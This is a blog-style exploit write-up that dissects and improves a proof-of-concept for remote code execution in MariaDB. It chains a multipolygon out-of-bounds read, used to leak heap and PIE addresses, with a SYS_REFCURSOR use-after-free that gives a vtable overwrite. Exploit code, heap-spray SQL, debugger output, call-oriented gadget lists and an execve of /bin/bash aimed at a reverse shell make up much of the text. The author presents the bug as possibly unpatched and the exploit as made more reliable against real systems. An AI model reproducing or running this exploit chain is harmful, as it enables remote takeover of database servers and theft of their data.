One beautiful Saturday morning, my Twitter page showed me the latest wonderful nonsense from v12, discussing a low-privilege RCE in MariaDB 13 that exploits two different vulnerabilities. After a cursory glance at the (thin!) writeups provided, I figured it would be a fun weekend project to write an in-depth analysis of the two vulnerabilities used. Eventually this ballooned into a week or so of work, but studying this bug has been quite fun and I honestly think it's really beautiful.
Fun thoughts
I thought this exploit would be a good fit for me, because I'd gotten pretty sick of trying to develop another kernel N-day analysis -- I'm realizing I don't understand the Linux kernel at all, to be honest -- and I sought the warm, comforting embrace of userland. My wonderful userland, with its allocator and bins that I actually understand! With normal things like vtables and call gadgets! My weeks of humiliation with kernel exploitation would be put on the backburner for a simpler (but still cool) project. How nice!
While I was studying it, I found a lot of strange choices by the AI that resulted in a lot of unreliability for the PoC. The PoC is just that, a PoC (it's not meant to be a robust, always-successful exploit), but the process of studying it made me identify certain places where I could improve its reliability. There are some weird choices that the AI has made due to weird, hallucinatory understandings of the heap state which I have ironed out and made more consistent; my main contribution is mainly just heap feng shui. This heap feng shui was a gigantic headache, mind you...
As we will see, the primitives are actually quite simple -- it's a heap OOB and a realloc-based UAF that leads to a vtable overwrite. Very nice and digestible! As a relative beginner to pwning actual, multi-thousand LoC systems instead of abstract, simplified CTF pwn challenges, I find that an exploit like this is a very natural stepping-stone to improving my exploitation skills. The complexity is not brought about through arcane ptmalloc functionality, rather, the surrounding structure of an actual application makes the task difficult, instead. Also, it's fun!
Writeup
Enough of that, time to pwn. Here we are dealing with two different bugs: an OOB read for our leaks, and a UAF that leads to a vtable overwrite and eventual RCE. The first bug has been disclosed and patched, the second bug has (to my knowledge) not been publically patched yet. This puts me in a bit of an ethical gray area with regards to the detail I provide in this writeup, but, ah, if it's good enough for v12 then it's good enough for me.
As an aside: I took so long to finish this post that CVEs have been issued. Oops! The use-after-free is CVE-2026-85748, and the OOB read is CVE-2026-85745.Bug 1 -- the leak
The first bug is about some insane shit in MariaDB called a multipolygon, which is apparently used to keep track of geographic areas. This is a niche, pretty absurd, complex subsystem in an already large program, so it makes sense that a bug has fallen through here. It is a nice, small lesson about where to look for these sort of bugs: if there's some absurd shit like multipolygons in a program you're auditing there's probably something worth poking at.
Simply put, a multipolygon is a simple data structure consisting of a binary header followed by a number of polygons. This binary header contains information about the number of polygons contained within the multipolygon itself. When we want to calculate the multipolygon's area, we iterate over that number, as stated in the multipolygon header.

Hopefully it should be obvious where this is going. When we trigger an area calculation, there is no check on whether or not the multipolygon actually has the number of polygons stated. We can construct a multipolygon that claims to have two polygons, but actually just has one. This causes our area calculations to try to parse adjacent heap data (pointers, etc.) as polygon information -- the resulting area value may, therefore, encode heap pointer information somehow!

I think this bug is actually really cool in the way that it manifests. The read isn't direct, and it is sort of type-confusiony. To get a more reliable read, we do need fine-grained control over the polygon data we send. Let's first explore how polygon data is actually stored on the heap, and what might be adjacent to our controlled polygon data. We can do this by taking a look at how v12 does it first: it does this by creating a table with three columns. The first two columns are binary data that eventually get parsed as polygon data, and then the third column is a pointer to a BLOB object on the heap (right now, this is all "A"s). The exact query is shown below.
8 │ cy.execute("DROP TABLE IF EXISTS lk")
7 │ cy.execute("CREATE TEMPORARY TABLE lk(a VARBINARY(74), b VARBINARY(66), c BLOB)")
6 │ cy.execute("INSERT INTO lk VALUES (0x%s,0x%s,0x%s)"
5 │ │ % (_GEOM74.hex(), bytes(b).hex(), payload.hex()))
SQL query that creates the malformed multipolygon. _GEOM74 and b are prewritten structs from v12 (our headers), which control (among other things) the number of points in each polygon.
v12's exploit actually gave me some helpful structs, _GEOM74 and b. _GEOM74 is the malformed multipolygon header, which tells MariaDB there are two polygons within the multipolygon. It also contains a simple polygon with three points, all at 0 (this means that its area is also 0!). b is an 'incomplete' polygon whose header states it has four points, but it only contains three points worth of data. The first two points are at 0, but the last point is at (1e300, 0). Because there are four points stated but only three points speciifed, the adjacent column c (our heap pointer) will become that fourth point.
These are all contiguously laid out as adjacent fields on the heap. By viewing the heap directly, we can see the general structure of the polygon data: there is some (unhelpful for our case) header information, then the vertices of each polygon are just stored as adjacent (x,y) QWORD double pairs.

Let us get a clearer view of how this is actually parsed as polygon data. I had AI write me a GDB script here: I would break at the relevant area functions (Gis_polygon::area) and get it to parse the pointer to the polygon stored in $rdi. Here is the parsed data for the second malformed polygon which contains our heap pointer.
gef> source pgon3.py
gef> print-polygon $rdi
══════════════ Gis_polygon ══════════════
object @ 0x7fb65c1277c0
vtable = 0x563610b5bf18
m_data = 0x77b61800b6a1
m_data_end = 0x77b71800b69c
n_linear_rings = 1
──────────── ring[0] ────────────
header @ 0x77b61800b6a5
n_points = 4 (avail=268435455)
point[0] @ 0x77b61800b6a9
x = 0.0 (raw=0x0000000000000000)
y = 0.0 (raw=0x0000000000000000)
point[1] @ 0x77b61800b6b9
x = 0.0 (raw=0x0000000000000000)
y = 0.0 (raw=0x0000000000000000)
point[2] @ 0x77b61800b6c9
x = 1e+300 (raw=0x7e37e43c8800759c)
y = 0.0 (raw=0x0000000000000000)
point[3] @ 0x77b61800b6d9
x = 1.344974619049452e-284 (raw=0x0500000000000000)
y = 6.5030842125933e-310 (raw=0x000077b6133228f8)
terms_sum = 6.503084212593292e-10
ring area = 3.251542106296646e-10
══════════════════════════════════════════
total area = 3.251542106296646e-10
══════════════════════════════════════════
Pretty-print of the polygon data
First of all: pretty. Second of all, what is relevant here is the correspondence between our heap view and the actual (x,y) pairs that the area calculation takes into account. Note that there are two (0, 0) points, but there is a point at ([LARGE VALUE], 0) and ([[BASICALLY 0], [HEAP POINTER]). We can draw this out.

So, our polygon is actually just a triangle, with the base being our large value (1e300) and our height being the heap pointer parsed as a double. Note one thing about heap pointers and doubles -- an ordinary pointer parsed as a double is actually quite small (1e-280 or so). Therefore, we need this large 1e300 value to 'amplify' this value such that we can read it properly. In general, we also need this large point placed directly before our leaked point, because of the way that MariaDB calculates area (specifically, it uses the shoelace formula, which takes in adjacent points clockwise and sums up a specific product of the two points -- this is not necessary to understand the exploit).
As expected, this leaks the pointer to our blob nicely. We just need to get the area and 'undo' the simple arithmetic (multiply by two, divide by 1e300).
[!] leaking payload
SQL ▶ SELECT ST_Area(a) FROM lk WHERE b IS NOT ⍉ AND c IS NOT ⍉
SQL ◀ 1 row(s): (3.240693733576871e-10,)
leaked address: 0x774fd3fe7738
Successful leak (MariaDB client view).
Neat! We can now leak adjacent pointers. The natural next step is to then leak PIE, but this proves to be a far harder challenge. We leaked a heap pointer because placing a BLOB entry next to our malformed polygons directly inserts a heap pointer adjacent to the polygon data, but we have no such luck for a PIE pointer -- there is no datatype we could place that would just happily insert one of these PIE pointers where we want.
If we cannot place a PIE pointer in our table, the next idea is then to place a PIE pointer in an adjacent or nearby chunk to our table. The chunk where our polygon data is placed is an 0x2000 sized chunk. If we can somehow get another chunk near that chunk we can control with a PIE pointer, and just make the polygon consume a bunch of points, perhaps this will still work to leak that PIE pointer?

This of course comes with its own issues. We would need to get this chunk layout in the first place, we would need to find a fixed-size allocation chunk with a known PIE pointer at a certain offset, and we would need to control the data before that PIE pointer (remember, we need to place an (1e300, 0) point directly before it!)
Furthermore, a natural question is: If we can't control any of the garbage in between our polygon headers and our PIE pointer, how do we know that this data won't affect our area calculation? That garbage still gets parsed as polygon points! The trick is, it just so happens that the typical garbage left inside chunks (pointers, small integers, strings etc.) are typically very small values when parsed as doubles (on the order of 1e-300). Thus, very very fortunately, it is likely that they are so small (especially when we multiply two of them together) that they underflow to 0 during the area calculation and don't affect the area calculation at all.
This, to me, is really ridiculous, but it works, apparently! Note the following two examples, where I show the average contents of a freed chunk, and the corresponding doubles they get parsed to.
0x77bd4ef079f0: 0x77bd4ef07a20 0x77bd4ef07b20
0x77bd4ef07a00: 0x77bd4ef07c20 0x77bd4ef07d20
0x77bd4ef07a10: 0x0 0x0
0x77bd4ef07a20: 0x55798cee1e68 0x77bd4ef07821
0x77bd4ef07a30: 0x0 0x77bd4ef07820
0x77bd4ef07a40: 0x0 0x7fbd941e1d30
0x77bd4ef07a50: 0x7fbd941e1d30 0x7fbd941e1e48
0x77bd4ef07a60: 0x77bd4ef0df31 0x1
0x77bd4ef07a70: 0x55798c746ad7 0x0
0x77bd4ef07a80: 0x0 0x0
0x77bd4ef07a90: 0x0 0x0
0x77bd4ef07aa0: 0x0 0x0
0x77bd4ef07ab0: 0x0 0x600000000
0x77bd4ef07ac0: 0x1000000000080 0x3ff0000000000000
Contents of a freed chunk. Note the pointers, as well as random other values
[0][1064] @ 0x77bd4ef0bb00: x = 4.64325576627983e-310, y = 4.8e-322
[0][1065] @ 0x77bd4ef0bb10: x = 6.50463767476074e-310, y = 6.50463658851315e-310
[0][1066] @ 0x77bd4ef0bb20: x = 6.93926121239516e-310, y = 0.0
[0][1067] @ 0x77bd4ef0bb30: x = 0.0, y = 6.89903271558634e-310
[0][1068] @ 0x77bd4ef0bb40: x = 6.5046232084633e-310, y = 4.64313899021116e-310
[0][1069] @ 0x77bd4ef0bb50: x = 0.0, y = 0.0
[0][1070] @ 0x77bd4ef0bb60: x = 4.74e-322, y = 8.9e-322
[0][1071] @ 0x77bd4ef0bb70: x = 0.0, y = 6.8e-322
Above contents parsed as (x,y) pairs. Note how all of them are vanishingly small (1e-310).
This means that we have some flexibility with leaking PIE. We just need a PIE pointer somewhat close to our initial polygon header, and then configure our polygon to consume a few more points (maybe 1000 or so). Hopefully, the values in the middle will reduce themselves out to 0, and we can leak our pointer (and just our PIE pointer)!
Here is an additional diagram, in case the concept isn't clear enough. Here is an 'example' closeup of the points we will inevitably consume in our garbage chunks. Note how they are small (in reality, they are far smaller and practically tend to 0).

Because they are so tiny, the polygon we calculate simplifies exactly down to our target triangle. We can have a thousand of those tiny points, but they contribute exactly 0 area to the end result: meaning, we can recover the value of our leaked pointer to 100% accuracy.

I earnestly hope you find this as neat as I do! This is really cool to me. One of the first pwns I've ever written was an invalid free that lead to pointer leaks formatted as a double, but I think this is a lot nicer. The fact that it arises organically in a program like this is very cute to me.
However, we still do not have a suitable target here. We can theoretically perform our leaks, but we do not have a chunk in mind that we can use to perform the PIE leak. Recall our constraints on this target chunk: we need to be able to control the data prior to the PIE pointer exactly, and we need to be able to allocate it easily. This will be detailed in the following section.
A small bit of housekeeping before any of that, though: MariaDB is actually quite lax when it comes to heap grooming. There is a very useful query SET @... = [blah] that allows us to store arbitrarily sized data as some global variable, and this all gets stored in differently sized chunks in the heap. We can control the exact size of these allocations, and we can even free the chunks by simply doing SET @... = ⍉. This will be very useful later on.
Second bug -- UAF with SYS_REFCURSOR objects
The second bug is a UAF with SYS_REFCURSOR objects. The gist of this bug is that these objects are stored in a dynamically sized array which is occasionally realloc()'d when more objects are appended. As we all know, realloc() can operate in one of two ways: consolidating adjacent freed chunks to create a larger contiguous space, or simply just freeing the old, small chunk and allocating a newer, bigger chunk. For our use case, the program will almost always take the latter path (that is, freeing the old chunk and allocating another).
The dynamic arrays happen to grow according to powers of two. This means that if we allocate 15 SYS_REFCURSORs, the dynamic array they are stored inside can still fit another SYS_REFCURSOR object (the 16th), but if we attempt to add a 17th object, the realloc() will occur. Similarly, if we keep allocating until our array contains 32 SYS_REFCURSORs, no realloc() will occur, but another (the 33rd) and it will.
The UAF occurs when a single query triggers this re-allocation and uses the REFCURSORS. When, say, a 17th REFCURSOR is added to the array, the old array is freed, but it will still be referenced by any subsequent usage of the REFCURSORS. Therefore, this is our use-after-free. We also get an immediately simple way to control RIP, as the dynamically allocated REFCURSOR array contains vtable pointers that we can trivially overwrite by reclaiming the chunk. (Recall that we can reclaim this chunk by issuing an allocation of the same size through the SET @... trick.)
Fairly simple stuff. Let's look at a query that will trigger this bug.
14 def build_uaf_sql(blob_hex):
13 │ decls = "\n".join(" DECLARE c%d SYS_REFCURSOR;" % i for i in range(33))
12 │ opens = "\n".join(" OPEN c%d FOR SELECT 1;" % i for i in range(33))
11 │ sprays = "".join(
10 │ │ [f"SET @{randstr()} = 0x{blob_hex};\n" for i in range(0x50)]
9 │ )
8 │ return ("BEGIN NOT ATOMIC\n" + decls + "\n DECLARE a INT;\n" + sprays +
7 │ │ " SET @@max_open_cursors=200;\n" + opens + "\n"
6 │ │ " SET @s1 = 0x" + blob_hex + ";\n"
5 │ │ " FETCH c16 INTO a;\nEND\n")
4
This script generates our query. Note decls and open, which declares our 33 REFCURSORs (one more than 32, triggering the dynamic reallocation and the stale REFCURSOR reference later on). Then, we spray a bunch of chunks to reclaim our old chunk, and finally trigger the vtable dispatch (now overwritten) by executing a FETCH query. Some handwaving aside, I'm going to show you what happens when we overwrite this chunk with all 0x41. First we place a breakpoint on the function that properly handles the FETCH stuff, which is called Materialized_cursor::fetch.
[*#0] 0x7fc572555a82 <NO_SYMBOL>
[ #1] 0x7fc57254961c <NO_SYMBOL>
[ #2] 0x7fc5725d0dce <poll+0x1e>
[ #3] 0x55b2c9fdca7a <handle_connections_sockets()+0x2da>
[ #4] 0x55b2c9fe3b87 <mysqld_main(int, char**)+0x3167>
[ #5] 0x7fc5724d3601 <NO_SYMBOL>
[ #6] 0x7fc5724d3718 <__libc_start_main+0x88>
[ #7] 0x55b2c9fc06b5 <_start+0x25>
---------------------------------------------------------------------------------------------------------------------------------------------------
gef> break Materialized_cursor::fetch
Breakpoint 1 at 0x55b2ca0c809d
After some manual stepping forward, we can see the exact set of instructions that perform our dereference & indirect vtable call.
gef> x/10i $rip-0x20
cmp DWORD PTR [rdi+0x910],esi
jb 0x55b2ca0c8106 <Materialized_cursor::fetch(unsigned long)+118>
jmp 0x55b2ca0c8160 <Materialized_cursor::fetch(unsigned long)+208>
nop DWORD PTR [rax+rax*1+0x0]
mov rdi,QWORD PTR [rbx+0x20]
lea rsi,[rbx+0x8f0]
mov rax,QWORD PTR [rdi]
=> call QWORD PTR [rax]
Note the call QWORD PTR [rax], the instruction that does the vtable dispatch. Finally, we can see a clear segfault in a bountiful field of 0x41s:
----------------------------------------------------------------------------------------------------- memory access: $rax = 0x4141414141414141 ----
[!] Cannot access memory at address 0x4141414141414141
-------------------------------------------------------------------------------------------------------------------------- arguments (guessed) ----
QWORD PTR [rax] (
$rdi = 0x000077c514fd8650 -> 0x4141414141414141 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]',
$rsi = 0x000077c535f3e800 -> 0x000077c535f3e960 -> 0x000055b2cb34aaf0 <end_of_list> -> [loop detected],
$rdx = 0x000077c5355daac0 -> 0x000055b2cb0b0310 -> 0x000055b2ca061410 -> 0x5d058d48fa1e0ff3,
$rcx = 0x000077c535f3cba0 -> 0x000077c535f3cfa0 -> 0x0000000000000001,
$r8 = 0x000077c535f3cba0 -> 0x000077c535f3cfa0 -> 0x0000000000000001,
$r9 = 0x0000000000000000,
)
So now, we have clear control over RIP. All that remains is for us to get a PIE leak, and write a suitable chain for us to get a shell. Note, however, that because this is a vtable dispatch, we need to know the address of this potential exploitation chain, wherever it may lie. That will be a problem for later. Now, back to the PIE leak...
PIE leak
Let's note how the SYS_REFCURSOR chunk & vtable dispatch actually looks during ordinary, non-exploitative execution. We can place the same breakpoint and inspect the same instruction, the indirect call that does the vtable dispatch:
0x55b0fbc66df0 <sp_cursor::Select_fetch_into_spvars::send_data(List<Item>&)> (
$rdi = 0x00007747aae4ee00 -> 0x000055b0fccd16b8 <vtable for sp_cursor::Select_fetch_into_spvars+0x10> -> 0x000055b0fbc66df0 <sp_cursor::Sele
ct_fetch_into_spvars::send_data(List<Item>&)> -> 0xf9894855fa1e0ff3,
$rsi = 0x00007747d9f8cdc0 -> 0x00007747d9f8cf20 -> 0x000055b0fcf47af0 <end_of_list> -> [loop detected],
$rdx = 0x00007747d9ef0740 -> 0x000055b0fccad310 -> 0x000055b0fbc5e410 -> 0x5d058d48fa1e0ff3,
$rcx = 0x00007747d9f8b160 -> 0x00007747d9f8b560 -> 0x0000000000000001,
$r8 = 0x00007747d9f8b160 -> 0x00007747d9f8b560 -> 0x0000000000000001,
$r9 = 0x0000000000000000,
)
Note the referenced value in rdi here (you might have to scroll a bit...). The REFCURSOR chunk itself contains PIE pointers in the form of the vtable pointers we initially overwrote. These PIE pointers are in the middle of the chunk somewhere. Is it possible to leak these vtable pointers? Recall the conditions for our PIE leak --- we need a controllable chunk of a known size that we can allocate at will, and we need to be able to allocate this suitably near (and after, in memory) our malformed multipolygon header. Furthermore, this REFCURSOR chunk is big enough that it falls into the unsorted bins, and not tcache, which means that we can perform remaindering.
It is indeed possible to reclaim a freed SYS_REFCURSOR chunk partially, inserting our inflated (1e300) point pairs such that they fill precisely the memory before our vtable pointer. So, our UAF bug actually gives us the exact mechanisms possible for the PIE leak: we allocate our malformed polygon header chunk, and then allocate our SYS_REFCURSOR chunk beneath it, free it with the realloc(), and then populate the memory before the vtable pointer with 1e300 doubles by doing a very strategic realloc.
In case that is unclear, here is a GIF:

It stands to mention that getting this specific chunk layout requires a decent amount of heap feng shui. This took a lot of thinking, and a lot of false starts. Inevitably, what I ended up doing was finding the specific size of both the multipolygon chunk and the re-alloc'd REFCURSOR chunk. With this, I can do a heap spray to completely empty the unsorted / large / small bins for allocations of those sizes, which -- at this time -- would be uncontrollable allocations that we cannot predict. Then, to ensure that the two chunks are close to each other, I would spam a whole lot of those allocations of those sizes (now taken from the top chunk, so they are likelier to be contiguous) and then free them to freshly populate the bins with chunks I know are near one another.
Afterwards, you just do the allocations again and see what happens. It turns out the last multipolygon-sized chunk you empty will end up being reclaimed as expected, but MariaDB claims another REFCURSOR-sized chunk (for what, I don't know) before it allocates our chunk properly. So, it turns out that the heap feng shui is actually quite simple. We just spray the heap, allocate two chunks of our provided sizes (these are now sure to be close to one another, again as they are serviced from the top chunk) and then free another sacrificial chunk for MariaDB to take first. Doing so results in our intended chunk layout, and we can perform our PIE leaks as stated above.
This is a bit unreliable of a process, but thankfully we can just keep doing it over and over again (the heap spray, the three chunk allocation & free, and the multipolygon and SYS_REFCURSOR) allocation until we hit our PIE leak. We can verify that we have leaked PIE correctly because the last 3 nibbles are invariant up to ASLR (I hope if you've gotten this far, you already know this).
Here's how the PIE leak actually looks:
SQL ◀ 1 row(s): (1.3278924084869121e+177,)
leaked address: 0x267c170784df4e57
recovered 2773116791614819927 0x267c170784df4e57
SQL ▶ BEGIN NOT ATOMIC
DECLARE c0 SYS_REFCURSOR;
DECLARE c1 SYS_REFCURSOR;
DECLARE c2 SYS_REFCURSOR;
DECLARE c3 SYS_REFCURSOR;
DECLARE c4 SYS_REFCURSOR;
D ... (411883 chars)
SQL ◀ 1 row(s): (0.0,)
SQL ▶ BEGIN NOT ATOMIC
DECLARE c0 SYS_REFCURSOR;
DECLARE c1 SYS_REFCURSOR;
DECLARE c2 SYS_REFCURSOR;
DECLARE c3 SYS_REFCURSOR;
DECLARE c4 SYS_REFCURSOR;
D ... (411883 chars)
SQL ◀ 1 row(s): (2.3275097575403548e-10,)
leaked address: 0x55b0fccd16b8
recovered 94218643904184 0x55b0fccd16b8
[!] leaked PIE! 0x55b0fb3b0000
Note the failed attepmt at the beginning --- surely, some garbage must have gotten in the way of our allocation or the allocations did not happen as expected. This failure thankfully does not matter, because our leak does eventually end up succeeding.
COP chain
We are almost done. We have RIP control, but this comes in the form of a vtable override --- we would need to override this vtable pointer with a pointer to any gadget we wish to use, not the gadget itself. This means that we need another leak! We must write our chain, whatever it is, in some location, and then leak the address to that location. Fortunately we can do this quite simply with MariaDB's BLOB entries and the multipolygon OOB leak.
We can write our chain in a BLOB entry, and then leak the pointer to that entry (this works because BLOB entries are stored as heap pointers inside the table itself. We can do this with the following code, which adds our corrupted header before our BLOB entry.
14 │ cy.execute("DROP TABLE IF EXISTS lk")
13 │ cy.execute("CREATE TEMPORARY TABLE lk(a VARBINARY(74), b VARBINARY(66), c BLOB)")
12 │ cy.execute("INSERT INTO lk VALUES (0x%s,0x%s,0x%s)"
11 │ │ % (_GEOM74.hex(), bytes(b).hex(), payload.hex()))
10 │---│
9 │ print('[!] spraying blob-sized chunks (this might take a while...)')
8 │ for i in range(0x200):
7 │ │ cy.execute(spray_blob_chunks())
6 │ │
5 │ │
4 │ input('[!] leaking payload')
3 │ cy.execute("SELECT ST_Area(a) FROM lk WHERE b IS NOT ⍉ AND c IS NOT ⍉")
2 │ r = cy.fetchone()
1 │ payload_address = _recover(r[0])
This leaks our BLOB entry as intended. A small caveat --- due to the nature of these BLOB entries as dynamically allocated buffers on the heap, it seems that at some point in time, this chunk will invariably get freed and whatever payload we write in it will become corrupted. This, thankfully, is only a little bit annoying, because the chunk gets reclaimed by other, smaller chunks and is not overwritten in its entirety. The payload data does get corrupted, but only slightly, and the bytes that get corrupted are (to my eye) deterministic. We can simply place the payload in a patchwork fashion, by strategically placing it in the bytes that do not get corrupted.
All that aside though, this vtable override is a little bit weak. We can only redirect the control flow once (instead of multiple times, like in ROP), and we still need sufficient control over the registers to do anything meaningful. How do we convert this single indirect call into multiple indirect calls?
Introducing: call-oriented programming, or COP! Take a look at some of these gadgets:
0x0000000000d636b1 : xor r15d, r15d ; call qword ptr [rax + 0xe0]
0x0000000000b50a4e : xor r15d, r15d ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x550]
0x0000000000cc628f : xor r15d, r15d ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0xe0]
0x0000000000a03ad1 : xor r15d, r15d ; mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x270]
0x00000000010c5d75 : xor r8d, r8d ; add edx, edx ; call qword ptr [rax + 0x150]
0x0000000000c5c73a : xor r8d, r8d ; call qword ptr [rax + 0x150]
0x0000000000ebd54b : xor r8d, r8d ; call qword ptr [rax + 0x1f8]
0x0000000000a0e9ed : xor r8d, r8d ; call qword ptr [rax + 0x340]
Note that at this juncture, we have control over the memory surrounding RAX, and the memory surrounding RDI too. RDI points to our reclaimed chunk, whose data we can specifically control, and RAX points to wherever we redirect our payload to. This means that we have control over the values at, say, [rax + 0x10], or [rax + 0x300], as well as [rdi + 0x100].
This means we can now chain these call gadgets by placing them at specific offsets from the initial payload. We'll build a ret2syscall chain -- it seemed to me to be the easiest option, given our lack of libc leaks (I'm still not sure how you would leak stack or even libc here). Note that our control over the registers will be a bit more limited. Let's look at how we might control rsi.
0x0000000000873099 : mov rsi, qword ptr [rdi + 0x20] ; call qword ptr [rax + 0x10]
0x00000000011772dd : mov rsi, qword ptr [rdi + 0xa0] ; call qword ptr [rax + 0xc8]
0x000000000117721d : mov rsi, qword ptr [rdi + 0xa8] ; call qword ptr [rax + 0xc8]
0x00000000008734fc : mov rsi, qword ptr [rdi + 8] ; add rdx, r12 ; call qword ptr [rax + 0x338]
0x0000000000c645f1 : mov rsi, qword ptr [rdi + 8] ; call qword ptr [rax + 0x198]
0x000000000091da8a : mov rsi, qword ptr [rdi + 8] ; call qword ptr [rax + 0x218]
0x00000000011c73d2 : mov rsi, qword ptr [rdi + 8] ; call qword ptr [rax + 0x338]
0x0000000000a7ccdd : mov rsi, qword ptr [rdi + 8] ; call qword ptr [rax + 8]
0x0000000000c82ee0 : mov rsi, qword ptr [rdi + 8] ; lea rdx, [rsi + r12] ; call qword ptr [r8 + 0x210]
0x0000000000c6a5fb : mov rsi, qword ptr [rdi + 8] ; mov qword ptr [rbp - 0x68], rdi ; call qword ptr [rax + 0x198]
0x0000000000dde191 : mov rsi, qword ptr [rdi + 8] ; mov rcx, qword ptr [rbp + 0x10] ; call qword ptr [rax + 0x338]
This naturally gives us rsi control. Note, however, that we would need to control rdx, rdi, and eventually rax itself. I'll gloss over this COP chain, because a lot of it is by-the-numbers , but there are some more interesting constraint problems in trying to build this chain that took me about 3 hours of experimenting and debugging. Not a lot of gadgets exist that give such direct control of the registers, we often have to build the registers in multiple steps: i.e., moving a value into r14, and then moving the r14 value into rdi.
Further note that because this is a remotely exploited program we need to set up a proper execve() call that triggers a reverse shell. This is not too bad, but it does mean we need to place /bin/sh strings in memory (we can simply do this in our BLOB entry) and set up rcx accordingly. Because reverse shell invocations are long and we do not have much space in our BLOB entry that does not get corrupted, this means that we have a length limit on the shell command we pass to execve().
Below is a view of the execve() invocation firing.
[+] Detected syscall (arch:X86, mode:64)
execve(const char __user* filename, const char __user* const __user* argv, const char __user* const __user* envp)
Parameter Register Value
RET $rax -
NR $rax 0x3b
filename $rdi 0x000077afef322c08 -> 0x7361622f6e69622f '/bin/bash'
argv $rsi 0x000077afd6e4ee6b -> 0x000077afef322c08 -> 0x7361622f6e69622f '/bin/bash'
envp $rdx 0x0000000000000000
--------------------------------------------------------------------------------------------------------------------------------------------------------------- threads (shown
:4 / all:14) ----
[ Thread Id:1, tid:1] Name: "mariadbd", stopped at 0x7fb039aa6a82 <NO_SYMBOL>, reason: SINGLE STEP
[ Thread Id:2, tid:145] Name: "mariadbd", stopped at 0x7fb039aa6a82 <NO_SYMBOL>, reason: SINGLE STEP
[ Thread Id:3, tid:144] Name: "signal_handler", stopped at 0x7fb039aa6a82 <NO_SYMBOL>, reason: SINGLE STEP
[*Thread Id:12, tid:158] Name: "one_connection", stopped at 0x55bee19e2f3a <NO_SYMBOL>, reason: SINGLE STEP
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
------ trace ----
[*#0] 0x55bee19e2f3a <NO_SYMBOL>
[ #1] 0x55bee1be0eab <sp_cursor::fetch(THD*, Virtual_tmp_table*, List<sp_fetch_target>*, bool)+0xbb>
[ #2] 0x55bee1edf766 <sp_instr_cfetch_by_ref::execute(THD*, unsigned int*)+0x66>
[ #3] 0x55bee1bda7d2 <sp_head::execute(THD*, bool)+0x9f2>
[ #4] 0x55bee1bdc133 <sp_head::execute_procedure(THD*, List<Item>*)+0xa83>
[ #5] 0x55bee1ca0667 <NO_SYMBOL>
[ #6] 0x55bee1cb4b97 <mysql_execute_command(THD*, bool)+0x3887>
[ #7] 0x55bee1cb7599 <mysql_parse(THD*, char*, unsigned int, Parser_state*)+0x1c9>
[ #8] 0x55bee1ca3f57 <dispatch_command(enum_server_command, THD*, char*, unsigned int, bool)+0x16b7>
[ #9] 0x55bee1ca5c17 <do_command(THD*, bool)+0x1e7>
With that our work is done.
Improvements
I did specify that this chain involves significant improvements over v12's simple POC. While I imagine an agent would've also made it sufficiently reliable if you just keep /goaling for it, I'm still proud of what I was able to do. In summary, the heap feng shui to align the two chunks in the original exploit was completely nonexistent, and relied on fixed offsets and a known heap state (from a fresh instance) to land the PIE leak accurately. It seems that there was some more hallucinated offset-guessing by the agent in the exploit...
Furthermore, the exploit also assumes the payload chunk's offset. It places the payload inside the reclaimed chunk, and assumes a fixed offset from the heap arena's base (which obviously would not hold up if the heap were used prior to exploitation). My version leaks the pointer to the payload chunk, so all is well and good.
These improvements may seem small, but they are steps in making the exploit more reliable against a proper system. The process of trying to develop an exploit for a serious program, one with many bells and whistles, drips and drabs, unpredictable behaviours and frustratingly arcane, seemingly-nonsensical heap operations was a seriously enjoyable and educational challenge for me anyways. After working with so many abstracted, simple pwn challenges, it was fun to try and think about actual targets, with actual stakes. Flesh and blood instead of cardboard outlines at a gun range.
I encourage other people to try this sort of stuff. It's very fun!
Reward for getting to the end of this post